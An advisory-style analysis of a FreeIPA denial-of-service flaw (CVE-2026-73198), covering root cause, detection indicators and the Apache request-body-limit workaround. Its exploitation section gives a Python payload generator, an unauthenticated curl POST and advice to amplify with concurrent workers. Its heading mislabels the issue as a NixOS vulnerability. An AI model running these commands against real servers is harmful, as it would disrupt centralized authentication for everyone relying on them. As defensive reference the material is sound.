CVE-2026-73198: 
NixOS 脆弱性の分析と軽減

CVE-2026-73198 is a denial-of-service vulnerability in FreeIPA's /ipa/i18n_messages endpoint that allows a remote, unauthenticated attacker to exhaust server memory by sending arbitrarily large HTTP request bodies. The flaw affects FreeIPA versions prior to 4.13.3 and Red Hat Enterprise Linux versions 6.0 through 10.0 shipping the ipa package. It was reported on May 11, 2026, publicly disclosed on August 20, 2026, and assigned a CVSS v3.1 base score of 7.5 (High) (Red Hat Advisory, GitHub Advisory). The vulnerability was discovered by AISLE Research in partnership with Red Hat (Red Hat Advisory).

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling) in FreeIPA's ipaserver/rpcserver.py. The read_input() function reads the full request body based on the attacker-supplied CONTENT_LENGTH header without imposing any size cap, and the jsonserver_i18n_messages._call_() method performs this unbounded read before validating the RPC method name — meaning even invalid requests trigger full memory allocation (Red Hat Bugzilla). The shipped Apache configuration grants unauthenticated access to /ipa/i18n_messages with Require all granted, and no LimitRequestBody directive is set by default. When a valid i18n_messages method name is supplied, the body is additionally re-encoded into a BytesIO object, potentially doubling the in-memory footprint (Red Hat Bugzilla).

Successful exploitation causes memory exhaustion in the Apache/mod_wsgi process hosting FreeIPA, leading to degraded responsiveness, worker churn, and potential out-of-memory (OOM) conditions under sustained concurrent load. The impact is limited to availability — there is no evidence of confidentiality or integrity compromise, and no code execution or privilege escalation is possible through this vulnerability (Red Hat Advisory, Red Hat Bugzilla). Because FreeIPA provides centralized identity, authentication, and policy services (LDAP, Kerberos, DNS), a successful DoS can disrupt authentication for all systems relying on the affected IPA server.

No public exploit code or exploit kit has been identified, and there is no evidence of in-the-wild exploitation as of the disclosure date. The attack is fully automatable — it requires only network reachability to the /ipa/i18n_messages endpoint and the ability to send large POST bodies, with no authentication or user interaction needed (Red Hat Bugzilla). The EPSS score is approximately 0.35%, placing it in the 26th percentile for exploitation likelihood within 30 days (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation impact is reduced if Apache, mod_wsgi, or an upstream proxy already enforces a strict request-body limit.

1. Reconnaissance: Identify internet-facing or network-accessible FreeIPA servers running versions prior to 4.13.3. The /ipa/i18n_messages endpoint is typically exposed over HTTPS (port 443) and accessible without authentication by default.
2. Craft oversized payload: Generate a large JSON request body targeting the endpoint. For example, create a 64 MiB payload:

python3 - <<'PY'
import json
s = "A" * (64 * 1024 * 1024)
obj = {"method": s, "params":[[], {"version":"2.0"}], "id": 1}
open("/tmp/ipa-big.json", "w").write(json.dumps(obj))
PY

3. Send unauthenticated POST request: Transmit the oversized body to the vulnerable endpoint:

curl -k -sS -o /dev/null -X POST \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/ipa-big.json \
  https://<IPA_SERVER>/ipa/i18n_messages

4. Amplify with concurrent requests: Repeat the request with 10–50 concurrent workers (e.g., using parallel, xargs, or a scripted loop) to maximize memory pressure on the httpd/mod_wsgi process.
5. Observe impact: Monitor the server with ps, top, or smem to observe memory growth, worker restarts, slow responses, and potential OOM conditions causing service unavailability (Red Hat Bugzilla).

• Network: Unusually large HTTP POST requests (tens of megabytes or more) to /ipa/i18n_messages; high volume of concurrent POST requests to this endpoint from one or more source IPs.
• Logs: Apache access logs (/var/log/httpd/access_log) showing repeated large POST requests to /ipa/i18n_messages with high Content-Length values; mod_wsgi or httpd error logs showing worker restarts or OOM-related errors.
• Process: Rapid growth in RSS/VSZ memory of httpd or mod_wsgi worker processes; frequent worker process restarts visible in ps output or systemd journal for httpd.service.
• System: OOM killer events in /var/log/messages or dmesg output referencing httpd processes; elevated swap usage or system-wide memory pressure coinciding with requests to the IPA endpoint (Red Hat Bugzilla).

A code-level fix is targeted for FreeIPA 4.13.3, which will add a hard request-body cap in read_input() and return HTTP 413 when the body exceeds the limit (Red Hat Advisory). Until a patched package is available, Red Hat recommends adding a LimitRequestBody directive to the Apache configuration for the IPA endpoint — for example, LimitRequestBody 1048576 (1 MB) within the relevant <Location /ipa/i18n_messages> or <Location /ipa/*> block — followed by a restart of the httpd service (Red Hat Advisory). If a reverse proxy or load balancer sits in front of FreeIPA, an equivalent body-size limit should also be enforced there. Organizations should prioritize patching or applying the Apache workaround on any IPA server reachable from untrusted networks.

The vulnerability was noted on Mastodon via TheHackerWire shortly after disclosure, and was indexed by multiple vulnerability tracking platforms including VulDB, Vulners, and CVEFeed within hours of publication (Red Hat Advisory). A German-language security news outlet (pro-linux.de) covered the issue as part of a broader FreeIPA security roundup. No significant vendor statements beyond Red Hat's advisory or notable researcher commentary have been identified at this time.